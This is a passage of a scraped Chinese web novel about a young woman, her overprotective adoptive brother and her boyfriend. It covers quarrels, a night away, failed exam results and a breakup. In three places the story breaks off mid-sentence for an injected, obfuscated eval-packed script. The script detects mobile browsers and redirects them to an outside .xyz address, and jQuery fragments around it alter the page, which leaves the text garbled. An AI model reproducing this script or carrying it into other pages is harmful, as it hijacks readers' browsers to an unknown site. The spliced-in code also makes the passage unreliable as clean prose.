“我听说之前你们店里有一批存在质量问题的水晶首饰,想问一下是否有同类型的款式可供选择?” 他的声音偏低,咬字清晰,辨识度很高,店员一听就认出来他是半小时前通过电话的人。 “请问您是刚刚给店里打过电话吗?”店员问。 黎宴琛点点头。 “不好意思先生,我好像没有见您来过我们店里。”店员看上去有些尴尬。 毕竟黎宴琛这副身材和长相,很难不给人留下深刻印象。 他颔首垂眸,俯视店员说:“那天来你们店消费的人是我妹妹。” 店员点头赔笑:“原来是这样,那先生您是想来给妹妹买礼物吗?” 合格的销售能够一下子猜中顾客心思。 黎宴琛没有否认。 本着尽心尽力服务好顾客的原则,店员卖力介绍了几款产品,甚至去收银台确认了一遍黎予礼的当日订单。 “先生,您妹妹那天还购买了一条男士项链,我们店里有对应的女款,您看……” “你说什么?” 黎宴琛沉声打断,目光骤然冷厉。 店员并不知道这句话的哪个词触碰到了他的红线,还以为他是没听清内容,又重复了一遍:“她购买的是一条较为简约的中古男士项链,对应的女款也很适合送人。” “……是么?”黎宴琛紧合臼齿。 男士项链。 徐寅安打开了礼物盒。 他没有想到黎予礼会送他项链,这礼物看上去并不便宜,仿佛让他之前送的钥匙扣变得很廉价。 半小时前他才把黎予礼送回家,他忽然有些后悔了。 后悔今天的时间不能被无限延长。 其实黎予礼比他更不想回家,因为一回家就要面对那个最熟悉的陌生人。 刚进门,她又看见黎宴琛坐在沙发上,和昨天一样。非要说有什么区别,大概是更不顺眼了一些。 黎予礼望了一眼挂钟上的数字,没话找话:“你今天去哪了?” 她才不好奇呢,肯定又是忙工作,没指望从他口中听到其他答案。 “去给你买礼物了。” “?” 黎予礼闻言一愣,呆呆地站在沙发旁边看着他。 今天是什么特殊日子? 她双唇微张,疑惑的话停在嘴边。 黎宴琛翘起二郎腿,指了指茶几上的礼品盒,视线落在她左手手腕处。 那条紧紧系着他俩的红绳早已被黎予礼其他的饰品挡得严严实实。 “这是什么?”黎予礼坐到他侧面的贵妃椅上,有意和他保持距离。 黎宴琛没有回答,眼神示意她自己拆来看。 她也没想跟他客气,干脆把盒子拿到手里,打开一看,里面躺着的手链完全是她喜欢的款。 虽说不是亲生哥哥,但她不否认黎宴琛确实很了解她。 只不过她还没能高兴超过三秒,就看到手链上挂着的标签写着“栖时手作”四个字。 黎予礼眼底的笑意瞬间消散,问:“你怎么知道这家店的?” 她在心里预设好了最不想听到的答案。 “我看到了你的消费订单……” “你看了我的购买记录??” 她没有给黎宴琛解释的机会,而是直接打断了他的话。 哥哥明显因她反问时的语气而皱眉,再度开口说明:“因为我收到了退款信息,所以……” “所以你就打开了亲密付,去看我花了多少钱、为什么花钱、在哪花的钱。”她的语速陡然加快,“甚至直接去到那里实地考察?” 黎予礼误会他了。 想当然地把这份礼物当成是哥哥心虚的补偿。 黎宴琛薄唇紧抿,瞳孔微微颤动,盯着她的目光里仿佛压抑着某种复杂的情绪。 他艰难开启齿关:“……你的意思是我不能看是吗?” 黎予礼听到这话竟笑出了声,嘴角分明满是苦涩:“你有完没完?” 生硬的语气令他的眉头始终难以舒展。 “没记错的话我已经十八岁了吧?”她歪着脑袋,对他挑了挑眉,“你打算管我到什么时候?” “初中你就这样,不惜每天往返也要亲自接送我。高考前也是,咱家司机从去年就开始带薪休假?你天天盯着我有意思吗?” 黎予礼越说越激动,站起身俯视着他。 他那副寡言的面容实在令她厌恶。 “还是说,你这个当哥哥的……”她忽然俯身凑近一直端坐在沙发上的黎宴琛,看到他明显后撤的动作,心里竟萌生了奇怪的猜想。 黎宴琛一直都知道她不是他的妹妹。 她有理由怀疑这个男人对自己的好是否肮脏。 她看似勾着唇,眸中却尽是恨:“……是不是对妹妹有什么别的想法啊?” “黎予礼!” 他倏然站起,厉声喊她的名字。 仿佛是警告,又像是失控。 黎予礼从未见过他气急败坏的模样,笑得更大声了:“我开个玩笑而已你反应这么大啊?难不成真被我说中了?” “予礼,”他强行抑制情绪,虽俯视着她,神色却像是对上位者求饶,“你是我妹妹。” 他吐字时下颌一紧,咬牙切齿似的,可语气绝非愤怒。 “你是我妹妹,我理应护着你、管着你……” “我不需要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855443|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎予礼无所谓地耸了耸肩。 她没有否认黎宴琛说她是他的妹妹,也没有听见黎宴琛未说出口的那三个字。 “听懂了吗?”她学着他的模样重复强调,“我说我不需要。” 手里的盒子被她扔到地上,她转身欲走回房。 黎宴琛叫住了她:“项链呢?” 她停下脚步,回头看他:“……什么?” “你买的项链,”黎宴琛面冷如冰,故意加重咬字,“男士项链。” 黎予礼感觉自己正站在情绪暴走的边缘,一呼一吸都变得急促:“怎么?以为我送给你的?我以前怎么不知道你这么自恋啊?” 见他不说话,她得理也不饶人:“如果你不希望我花你的钱,就把亲密付关了,否则我不会跟你客气的。以后要是让你看到什么其他不想看到的账单,别怪我没提醒你。” 她不知道黎宴琛从来都不会主动看。 她也想知道自己买什么会让黎宴琛更生气。 否则这令人讨厌的虚假兄妹关系,哪怕吵了架也没法分离。 第二天黎予礼起了个大早,发消息喊徐寅安陪她逛超市。 少年人藏不住心思,她看到徐寅安的穿搭明显换了风格,脖子上的项链显眼得不行。 像只雄孔雀对她开屏。 “你打算买什么呀?”徐寅安帮她推了一辆购物车,跟在她身边。 她一手撑着腰,一手随意拿起货架上的东西打量:“随便逛逛。” 零食饮料,黎宴琛也会买。 水果蔬菜,她自己不会挑。 肉蛋海鲜,不太有杀伤力。 乳品烘焙,没什么大影响。 逛了一圈下来,购物车空空如也。 徐寅安摸不着头脑:“是家里缺了什么吗?” 她只是摇摇头。 不缺。 他们家什么都不缺。 “买两支冰淇淋吧。” 两人走到结账区,几台冰柜摆在一旁,黎予礼看着里面花里胡哨的食品外包装,心想总不能空手而归。 徐寅安推开冰柜门:“你要什么?” “那支蜜桃青梅吧。” 黎予礼买东西从来不看价格,自然也不会留意徐寅安挑冰淇淋时的犹豫。 收银台是顾客完成购物的最后环节,排队时的无聊感会降低大家的理性决策能力。 旁边的小货架正是抓住了这一消费者心理,隐私但刚需的避孕套作为“顺手可买”的商品,极易在此触发冲动消费。 以前黎予礼还不识字的时候,误把它们都当成糖果,差点缠着黎宴琛买回家。 她永远无法忘记黎宴琛当时尴尬的表情。 对啊。 避孕套。 这回黎宴琛要是看到,恐怕就不是尴尬这么简单了。 徐寅安把手里的冰淇淋递给收银员,黎予礼赶在结账前伸手从货架上随便拿了一盒避孕套。 说:“我来付。” 徐寅安整个人凝固。 直到黎予礼像塞纸巾一样把避孕套盒子塞进裤子口袋里,拿着冰淇淋对他说“走啊”,他才回过神来跟上去。 单纯的少年人怎么会知道自己喜欢的女生买避孕套是为了气哥哥。 黎予礼拆了包装袋,雪糕外层的冰霜险些粘住她的舌头,“待会儿去哪儿?” “去,去哪儿……?”徐寅安紧紧攥着手里的冰淇淋,结结巴巴重复她的话。 她偏头抬眼看他,用牙齿咬掉冰淇淋的一角:“你脸红什么?” 徐寅安隔着包装袋感觉到雪糕要在自己手心里融化了。 他也要在黎予礼的目光里融化了。 怎么办呢。 血气方刚的少年人。 身正也怕心思歪了,徐寅安干脆把冰淇淋贴上自己的脸颊,试图用它来给自己降温。 他不能这样,他不能这样。 “去你家吧?”黎予礼咬开留心的部分,被桃子味雪糕包裹着的青梅酱缓慢流出。 徐寅安知道自己快疯了。 他什么也不懂,什么也不会。 但学习能力强的人总对未知的领域抱有征服欲。 可这次不一样。 是黎予礼征服了他。 桃子味的,青梅味的。 甜的,冰的,融化了的。 除了“好喜欢”之外,徐寅安大概说不出别的话了。 12. 成绩 黎予礼大概低估了黎宴琛对她的容忍程度。 比起买避孕套更令人生气的是她夜不归宿。 她在徐寅安家里醒来的时候,手机已经被连续不断的未接来电轰炸得发烫。 连黎蓝瑛都不停发微信问她人在哪。 黎予礼心想完蛋了。 要是她再不出现,黎宴琛恐怕会到公安局报失踪。 床下的凌乱不堪已然被打扫干净,她的衣物甚至洗净烘干叠好放在了床头柜上。 好学生就是不一样。 她本想洗个澡再走,可她担心再晚一秒黎宴琛就会带着警察找上门。只好匆匆忙忙换了衣服,走出卧室时她恰巧碰上拎着早餐回来的徐寅安。 看见他手里包子、馒头、豆浆、油条装了好几个塑料袋,黎予礼食欲全无:“我得先回一趟家,再不回去的话我哥会把我杀了。” 徐寅安神情有些窘迫,像是想要挽留却又不知如何开口,支支吾吾地问她有没有哪里不舒服。 “不舒服?”黎予礼疑惑地反问,人已经在玄关处换鞋了,“为什么会不舒服?” 才成年的男生单纯得不像话,不过三两句话就红了脸,说话也变得结巴:“我,我就是,就是担心你……” 黎予礼无奈地笑了。 男欢女爱、你情我愿的,怎么会不舒服。 她熟练地把拖鞋放回鞋柜里,从他手里拿走了一杯豆浆:“谢了。” 徐寅安的开心情绪仿佛被装进了那杯豆浆里,在黎予礼拿走的瞬间他就耷下了眉尾。 和小狗目送主人出门上班时一样落寞。 明明是同龄人,黎予礼却总是在这样的时刻错误地觉得他是个过分懂事的年下弟弟。 但她在家里当幺儿当惯了,从来都是黎宴琛哄着她,哪知道该怎么对付徐寅安。 “我,走了?”她眨眨眼。 徐寅安脑袋都垂下了。 再怎么说两人现在已经不是普通同学关系了,黎予礼本着要对处男负责的良好品德,对她的小狗招了招手。 “过来。” 徐寅安听话凑近。 一米八二的个子对她来说还是有些高,想要够到还需要踮踮脚。 但她不愿意将就别人。 黎予礼抬手示意他俯身,然而他对无声的命令理解有误,姿势犹犹豫豫。 多耽误一秒她就多一份风险,她可等不了,干脆拽住徐寅安的领口把人拽到面前。 在他错愕的唇边落下一吻。 “走了。” 她潇洒离去,没有看到男生红得发烫的面颊。 可惜这份潇洒持续不了多久,黎予礼拎着那杯凉透的豆浆回到家,看到坐在客厅里的竟然是黎蓝瑛和小姨父。 她心下一惊,估摸着黎宴琛可能亲自去找她了。 “予礼!”黎蓝瑛赶忙走过来。 几个月不见,小姨状态好了不少,气色也尤胜从前。 小姨父跟在黎蓝瑛身后,走到玄关处迎接她。 她尴尬地笑着问了好,探头往屋内张望,说:“我哥呢?” “你哥出去找你了,”黎蓝瑛用手肘怼了怼小姨父,“快打电话告诉宴琛,予礼安全回到家了。” 小姨说完,又拉着黎予礼左看看右看看,似乎是想检查她身上有没有受伤之类的。 “小姨我没事儿,”黎予礼笑着握住小姨的手,把她拉到沙发边坐下,“我就是去同学家里玩得太嗨,忘记告诉我哥了,还害你和小姨父跟着担心。” 黎蓝瑛哪会跟她计较,拍了拍她的背:“哎呀你没事儿就行,我和你姨父也很久没来看你们兄妹俩了,中午请你们吃大餐?” “对呀,正好庆祝予礼高考顺利结束!”小姨父挂了电话,走过来附和道。 “想吃什么?告诉小姨。”黎蓝瑛轻轻撞了撞她的肩膀。 她皱了皱鼻子,笑容略显害羞:“高考成绩都没出呢,半场开香槟不合适吧?” “怎么会呢!反正你以后想干嘛就干嘛,有你哥养着你呢。”黎蓝瑛冲她开玩笑。 这句玩笑话黎予礼几乎是从小听到大,以前没觉得有什么不妥的,她甚至还会沾沾自喜。 有人永远为她兜底。 只是没想到她小时候以为的永远如此短,让长大后的时间仿佛被无限拉长。 “那怎么行?”她尴尬地扯了扯嘴角,“我哥的钱应该用来养他未来的老婆和孩子。” 黎蓝瑛闻言明显一愣,继而露出一副八卦的模样:“你哥有情况了?” “我哪知道?”黎予礼耸耸肩,“他什么都不告诉我。” 连他们不是亲生的都不告诉她。 能指望他有多坦诚呢。 黎蓝瑛听出了她话里的抱怨,劝说道:“有些事情,不是哥哥故意瞒着你,他是不想给你太多负担吧。” 负担? 黎宴琛给她最大的负担,就是密不透风、令人窒息的关爱。 没等她和小姨再聊多几句,门口就传来了着急且混乱的智能锁输密码提示音。 黎宴琛大概输错了两次密码才成功解锁,打开门连鞋都没来得及换就冲进了客厅,那架势吓得小姨和小姨父都下意识坐直了身体。 “你去哪了?” 他破天荒扔下了一贯的教养和礼貌,跳过和长辈打招呼的流程。 冷硬的语调和低沉的嗓音,任谁都听得出来他在生气。 黎予礼瞥了一眼身旁和小姨,出于维护他们黎家人的体面,她强忍住吵架的冲动,淡淡回答:“同学家。” “宴琛,她就是出去玩太开心了,你别……”黎蓝瑛劝解的话说到一半,竟被外甥直接打断。 “哪个同学?” 黎宴琛站在沙发对面,和黎予礼隔着一个茶几的距离,视线牢牢钉在她身上。 仿佛松懈一秒,她就会从他的身边逃跑。 黎予礼看到他逐渐发红的眼眶,忍无可忍。 反正哥哥不是她哥哥,小姨不是她小姨,她也不需要再顾及这莫须有的情面。 “和你有关吗?”她冷声反问。 短短五个字,黎宴琛却好似得到了确切答案。 “你知道他家是做什么的吗?” “……什么?” 黎予礼一下子没反应过来他这句话是什么意思,坐在她身边的小姨也是一头雾水。 “上周的不动产拍卖公示里有他家,下个月正式开始拍卖。你知道什么情况下一个家会变成法拍房吗?贷款违约和借贷抵押暂且不议,如果是刑事涉案财产或是司法没收,那么他的家长犯了什么事情谁都无法想象。” 黎宴琛句句不提人名,但字字戳着黎予礼的脊柱。 这里只有她知道他口中的人是徐寅安。 小姨和小姨父面面相觑:“谁,谁呀?” 黎宴琛没有回答,自顾自地往下说:“你才十八岁,分不清好坏、辨不出是非也没关系,但你能不能不要那么轻易地把自己置于危险?你知不知道我……” “什么是危险什么是安全?”黎予礼猛地站起身,“和我喜欢的男生待在一起是危险?” “你什么……?” 黎宴琛瞬间瞪大双眼,怔怔地吐气似乎在窒息的边缘,唇边泄出的话音有气无力。 黎蓝瑛可听得一清二楚,连忙笑着去拉黎予礼的手想让她坐下:“哎呀予礼有喜欢的人啦?挺好的呀,是班里同学吗?” 她重重坐回沙发上,小姨揽过她的肩膀,一边看黎宴琛的眼色一边安慰道:“你们是毕业的时候才在一起的吗?成绩出来后是不是要去一个大学?” 小姨不像其他东亚家长,思想并不保守,反倒一副很支持黎予礼谈恋爱的模样。 她挤出一抹微笑,说:“他成绩比我好,能去一个城市就行。” 小姨父见气氛缓和,也在一旁憨笑:“予礼想好去哪里读大学了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855444|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯,”她点点头,视线故意移回黎宴琛身上,“去京安。” “京安!?”黎蓝瑛一声惊呼,“这么远!” 远才正和她意。 她就这么抬眼看着黎宴琛,视线里满是挑衅。 这目光好似刺得他的眼眶很疼,红血丝逐渐攀上眼白。 他几度深呼吸也没能缓住情绪。 小姨和小姨父的注意力都在黎予礼身上,没有发现他的异常。 黎蓝瑛拿出手机查逾桐市离京安有多远,提前不舍道:“一千七百多公里!予礼呀你真的要去那么远的地方吗?” 小姨父摆摆手:“孩子乐意就让她去呗,坐飞机两三个小时的事情,你要是想予礼了我们随时可以去京安。” “别呀小姨父,”黎予礼佯装不乐意,“可别影响我谈恋爱。” “好好好,”小姨怎会听不出她在开玩笑,“有了男朋友就不要小姨啦!” 沙发上的三人看似其乐融融、有说有笑,衬得站在对面的黎宴琛像个局外人。 他垂眸偏头,喉结突兀地滚动,独自咽下苦涩。 “欸刚刚宴琛说什么法拍房来着?”小姨父终于发现了外甥有些不对劲,旧事重提。 小姨直接伸腿踢他一脚:“你管那么多?我们予礼喜欢就好,黎家有的是钱和人脉,什么问题不能解决?” 小姨父耙耳朵,点头如捣蒜。 黎予礼表面上笑盈盈,心里却一阵无语。 果然如她所料,假外甥女的对象是人是鬼他们都不在意。 “那我们待会儿去哪吃?我现在订位子。”小姨父掏出手机。 “予礼有什么想吃的?” “上次那家私房菜吧,想吃她家的黑松露番茄油浸虾了。” “好嘞,”小姨父迅速翻出联系电话,“老样子和老板约个四人餐?” 黎蓝瑛正想点头,就听见黎宴琛开口推辞:“小姨父,我待会儿还要回一趟公司,就不去了。” 他音线微哑,仿佛有千万只蚂蚁攀上他的心脏安营驻扎,细密的痛感汇聚成片,逐渐扩散至其他器官。 疼了胸腔,伤了声嗓。 “宴琛不去?”黎蓝瑛双唇微张,有些惊讶,“公司有什么事这么紧急?” 黎宴琛叹了口气,竟真像汇报工作那样一眼一板地回答起来:“原材料的主要供应商因税务问题被查封了,生产线几乎停摆,我得……” “你得什么?抓紧这一顿饭的时间亲自去生产吗?”黎蓝瑛怼起人来也是毫不留情,“这种事情急也没用,我当初怎么教你的?” 他听到小姨的话后垂下脑袋,竟像个做错事的小孩。 黎予礼从来没见过他这样。 “好啦宴琛,一起去吧,四人餐呢少你一对碗筷我们哪吃得完?”小姨父唱着白脸,眼看就要劝动黎宴琛。 临门一脚,黎予礼拍了拍手:“他不去也行,我把我男朋友叫上。” 男朋友。 这是黎予礼第一次用这个称呼指代其他男生。 “好呀!”黎蓝瑛双手合十搭在脸颊边,“悄悄告诉小姨,他帅不帅呀?” 小姨父看了一眼黎宴琛,试探地问:“那我是订五个座儿还是四个座儿啊?” 黎宴琛下颌角紧绷,看上去好似呼吸不畅,在小姨父询问的目光里沉沉开口:“我去。” 他声音低得不像话,小姨父差点以为自己耳背幻听:“宴琛你说什么?” “我说我去。”他又强调了一遍。 黎蓝瑛大手一挥:“那就订五个位子,予礼你把那个男生叫上。” “算啦算啦,还是我们吃吧,我怕他不自在。”黎予礼故意撒娇,原地撤回这个提议。 别的问题暂且不考虑。 她怕黎宴琛见到徐寅安的时候会闹出人命。 看着眼前眉峰冷厉的冒牌哥哥。 眼底的猩红愈发令她感到陌生。 13. 复读 自打那天起,黎宴琛开始变得异常忙碌。 黎予礼分不清他是因为公司难题亟待解决,还是因为她有了男朋友而刻意回避。 不过原因是什么其实她并不在意。 只要黎宴琛不管她,天大地大都没什么可怕。 有了上一次夜不归宿后的经历,黎予礼现在无论在外面玩到多晚都不会留宿别的地方。 因为她发现黎宴琛不会给她设门禁,仿佛只要她肯回家,她就还是他的妹妹一样。 “明天就要查成绩了,紧张吗?”徐寅安正盘腿坐在茶几旁,笨手笨脚地帮她削桃子。 她手里捧着今年新出版的高考志愿填报指南,薄薄的书页角被她不停卷起又铺平。 “不紧张,”她停顿一秒,“才怪呢。” 依照去年的录取最低线来看,她至少要考过本科线一百分才能稳进京安工商大学。 但她几斤几两自己心里清楚,一百多天恶补别人几年的累积,能考上本科她就烧高香了。 “水涨船高,水落船沉,录取分数线不是固定的。”徐寅安把桃子切成大小形状不一的块状,“别担心,一切都是最好的安排。” 黎予礼唉声叹气,这本厚厚的书好似压得她无法呼吸。 她把它扔到一旁,直接伸手去握住徐寅安的手腕,就着他切桃子的刀戳了一块果肉。 “欸你小心。”徐寅安生怕刀伤了她。 她咬下刀尖上的桃子,果汁顺着牙齿溢出,味觉瞬间被刺激。 “好酸。” 五官都被酸得皱皱巴巴,她干脆把嘴里的果肉吐进了垃圾桶。 “这么酸吗?”徐寅安看上去好像不太相信她的反应,啃了一口手里被切得不剩多少果肉的桃子。 一般来说越接近桃核的部分越酸涩,但徐寅安尝不出来。 他反驳说:“还好啊,挺甜的。” 黎予礼面露鄙夷,把果盘往他的方向推了推:“那你自己吃吧。” “……你都不吃了吗?”徐寅安大概低估了她的任性,“可是我一个人也吃不完。” “那就扔了呗。”黎予礼耸了耸肩膀,举着手机靠倒在沙发上。 “扔掉有些浪费吧,”徐寅安盯着盘子里的新鲜果肉,“多吃几口就习惯了。” 她摇摇头。 看上去并不想理会男生的劝说。 黎宴琛从来没让她吃过苦、尝过酸。 你叫她如何习惯。 如何习惯酸涩,如何习惯收敛任性,如何习惯离家一千多公里。 黎予礼当然不知道她习惯不了。 她只知道她一心想着离开这里,紧张得连在教育考试院官网输入准考证号时,手指都止不住地战栗。 大脑一片空白,她险些连密码都想不起来。 最后一个需要摁下的键仿佛不是跳转成绩界面,而是决定了她人生道路是否能继续向前。 她左手握拳,指甲缓慢嵌入掌心,细微的痛感一定程度上掩盖了她的紧张情绪。 手机忽然响起消息提示音,打断了她的心理建设。 她下拉通知栏,看到预览框内显示着徐寅安给她发的本科分数线。 牙一咬心一横,她敲下了最后一个键。 单项科目上的几个数字像是忽然长了脚,变成令人厌恶的虫蝇,在她眼前乱飞。 她感到胃里一阵恶心。 待紧张的情绪散去,悬着的心也落进了井底。 她没有即时心算的本事,但总分后的三位数只一眼也足以比对大小。 ——她没有考上本科线。 也是。 逾桐市几十万名考生,大家都铆足了劲拼命努力。 她凭什么觉得她足够幸运。 这分数大概是她紧追一百多天后最好的结果。 她松开了紧握的拳头,手心被指甲犁出了浅浅的月牙。 还没想好该如何告诉徐寅安,手机屏幕突然变成了来电显示。 【哥哥】 她给黎宴琛的联系人名一直都没变。 “喂。”黎予礼自认为自己的语气没有异常。 电话那头明显一顿,说:“今晚想吃什么?我回家做。” 黎予礼没什么胃口:“随便。” “我下班去一趟超市,你去吗?” 其实兄妹俩已经很久没有这样通过电话了,黎予礼以为他们铁了心要冷战到自己去外地读大学那天。 现在好了,这分数哪也去不了。 哥哥还像开了天眼一样突兀地嘘寒问暖。 “不去,”她抱膝坐在床上,把笔记本电脑放到一旁,“高考成绩出来了。” 除了电流声外只余沉默。 “你不好奇我考了多少分吗?”她主动问,好似在期待黎宴琛得知她无法远走高飞后是什么反应。 可惜哥哥没有如她所料:“你不想说的话我就不好奇。” 黎予礼用鼻音挤出一声无奈的笑,正想说些什么,机身忽然在手里一震。 她把手机从耳边拿开,看到徐寅安给她发的微信消息。 【我确定能去京安大学了】 【你考得怎么样?】 和黎宴琛截然不同的话。 她不知为何有些不耐烦,干脆把微信退出,切回和哥哥的通话界面。 “我没考上。”她直接坦白。 黎宴琛难得没有用沉默来搪塞她:“京安的大学吗?没关系,可以看看京安附近城市……” “我连本科线都没有考上。”她打断了哥哥的安慰。 其实黎予礼有些惊讶,惊讶黎宴琛好像并不反对她离开家。 并不反对她离开他。 通话那端传来很急促的脚步声,接着是钥匙解锁车门。 “你去哪儿?不在公司了?”黎予礼看了一眼时间,距离晚饭还很远。 车门关闭,引擎轰鸣,黎宴琛没有挂断电话:“嗯,我现在回家,等我一会儿。” “你回来干嘛?”她没好气地问,“你回不回来我都没书读了。” 黎宴琛并未接话,回答她的只有汽车高速行驶的声音。 算了。 反正话费是他交的。 黎予礼把手机扔到一旁,打算去冰箱翻一盒冰淇淋。 甜食有助于多巴胺分泌,从而传递愉悦感,抵消她现在的负面情绪。 她坐在沙发上,随便投屏了一期综艺,一盒雪糕还没见底,门口就传来了密码锁解开的声音。 “这么快?”她叼着冰淇淋盒子里自带的小勺子,望向玄关。 黎宴琛只穿着衬衫和西服马甲,三十几度的高温天气再绅士的人也难以抵挡。 “你……”他微微喘着粗气。 以他站在沙发旁的角度俯视下去,能看到妹妹穿着的吊带上衣露出的锁骨窝太过白皙。 黎予礼不知道他为什么干咳了两声,随后坐到一旁,视线略有闪烁。 “我让助理帮忙咨询了一下,如果你想去体验一下不同于高中的校园生活,我们可以考虑报专科。但如果你还是很向往京安,并且不介意重来的话,我们也考虑去复读学校。” 黎宴琛说这段话的语气很轻很轻,温柔得不像话。 她手里的冰淇淋也在哥哥的话音里慢慢融化。 “当然了,如果这两条路你都不愿意走,也可以直接告诉我你想做什么。” 他手臂搭在大腿上,上半身前倾,几乎是换气和吞咽的间隙,才让黎予礼捕捉到他指尖轻微颤抖的痕迹。 “我知道你很不喜欢我总是摆出一副说教的样子,但是哥哥作为过来人,真的可以向你保证,这只是一次考试,人生的容错率远比你想象的要高。” 黎予礼忽然有些鼻酸。 她看到高考成绩的时候不想哭,知道徐寅安能去京安的时候不想哭。 听到黎宴琛这番话,她竟再也无法压抑委屈。 她以为今后不再会有人给她兜底。 不知道黎宴琛这辈子都会是她的底气。 “我就是……”她声音哽咽的瞬间,看到哥哥一向冷静的神色里满是慌乱,“我就是觉得我可以。” 黎宴琛抽了两张纸巾递给她,挪到她身边坐下,正抬手想要轻抚她的背,却又不知为何停在半空后收回。 “我知道你可以。”他坚定得像是拥有预知未来的能力。 黎予礼吸了吸鼻子,转头看他:“真的吗?” “真的,”他终究是没忍住,摸了摸妹妹的后脑勺,“我相信你。” “那我如果去复读学校,你岂不是还得供我一年?” “你不去我也会供你,”黎宴琛眉眼含笑,“我供你一辈子。” 她把纸巾揉成团扔进垃圾桶,没有留意哥哥眼底的认真。 “别,”她举手打断,“我那天还跟小姨说,你的钱该留给你未来的老婆和孩子,别在我身上挥霍。” 黎予礼两只手臂交叠在胸前,向后靠着沙发椅背,望向天花板时惊觉自己已经很久没有像现在这样和黎宴琛并肩而坐了。 “那个叫什么来着,夫妻共同财产?”她一个高中毕业生哪了解婚姻法。 黎宴琛没有纠正她:“我的钱都是你的。” “停停停我可受不起,”黎予礼举双手投降,“要不你打个欠条吧,学费等以后我赚了钱就还你。” 其实都是玩笑话,她不相信黎宴琛听不出来。 结果她这个古板哥哥还是意料之中地冷下脸盯着她。 “无不无聊啊你?”她用肩膀撞了撞他的手臂,“我开玩笑的。” 黎宴琛的脸色这才缓和,掏出手机打算给助理下达指令,“你确定要去复读学校吗?确定的话我让助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855445|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理去办。” “我确定。”黎予礼狠狠点头。 看着哥哥打字利落的拇指,她反应过来这件事理应通知一下她的小男朋友。 她的身体下意识往另一旁倾斜,确保黎宴琛看不到她的屏幕后,才抱着手机给徐寅安发消息。 【我考砸了】 【决定复读】 【待我涅磐重生去京安找你】 她压根不知道异地恋意味着什么,只不过眼下的确到达了她和徐寅安的岔路口。 对面很快回复。 【你要去复读?】 【你希望我自己一个人去京安吗?】 这有什么不希望的?黎予礼微微皱眉。 正打字措辞呢,徐寅安又发来信息。 【我跟你一起复读】 “啊??”黎予礼太过惊讶,没忍住疑惑的声音。 黎宴琛转头看她,被她用“没事”的手势打发。 【你疯了???】 【复读是什么好事吗?】 【你都能去京安大学了你还想复读?】 徐寅安避重就轻,三个问题都没有正面答复。 【我只是想跟你待在一起】 “……”黎予礼沉默了。 她本以为他们俩不过是情窦初开荷尔蒙作祟,应该也没到什么难舍难分的地步。 徐寅安这样未免也太不把自己的前途当回事了。 【你先冷静一点】 【只不过是你先读大学我晚一年而已】 【又不是什么生离死别】 徐寅安死活听不进去。 【我不要】 【我现在就去复读学校报名】 “?”黎予礼坐直身体。 “怎么了?”黎宴琛发现她神情不对劲,询问道。 她却只是摆摆手。 没有对比就没有伤害。 眼前年长七岁的哥哥面对问题只有沉着和冷静,而她同龄的男朋友碰到事情又冲动又急躁。 “我,”黎予礼本想直接开口说自己要去见徐寅安一面,但兄妹关系好不容易缓和,她短时间内也不想再让气氛变僵,“我出去一趟。” 黎宴琛了然于心,点了点头,在她去玄关换鞋的时候提醒:“把伞带上吧,可能会下雨。” “没事儿我很快就回来了。” 她本来就惊讶哥哥没有阻拦,于是干脆说些好话让他放心。 刚走出小区,她抬头看见热风将乌云吹得越来越宽阔。 看来黎宴琛说的没错。 眼看天色愈发沉重,可徐寅安仍是不接电话,黎予礼的耐心逐渐在“嘟”声中消磨殆尽。 她本就任性肆意,一直是想做什么就做什么的脾气。 但她不希望因为她的决定而改变他人的人生轨迹。 于是她回到和徐寅安的聊天界面,郑重敲下了五个字: 【我们分手吧】 及时止损,结束这段短暂且幼稚的亲密关系,对他们各自都好。 信息发出去不到一分钟,她在转角的路口看到了徐寅安。 男生像是徒步从家里跑来,气喘吁吁,双手空空。 “为什么不接电话?” “我,我出门太着急,没带手机。” 黎予礼感受到有细小的雨滴飘落在她的脸颊,她亲口说出了那句话:“我们分手吧。” “……什么?”徐寅安怔愣得忘记了呼吸。 “分手吧,”她抬手遮雨,“你去你的京安大学,我去我的复读学校,以后不要再见面了。” “为什么?”见她说完就要走,徐寅安赶忙拉住她,“予礼你别这样,我陪你……” “我不需要你陪,”黎予礼甩开他的手,“我不需要任何人陪我。” 徐寅安的手停在半空中颤抖,他好像一下子成了路边流浪的小狗,执着地想问主人为什么抛弃他。 “你不喜欢我了吗?” “不喜欢,我不喜欢你。” 黎予礼狠下心。 “……可是我喜欢你。” “我不喜欢你。” “我喜欢你。” “我讨厌你。” 黎予礼以为这样,徐寅安也该认清事实了。 可小狗除了表达爱意之外什么都不会。 “我喜欢你。” 他一直不停地重复这四个字,雨滴也在他的话音里渐渐细密。 黎予礼从来没有感受过这样坚定且真挚的感情。 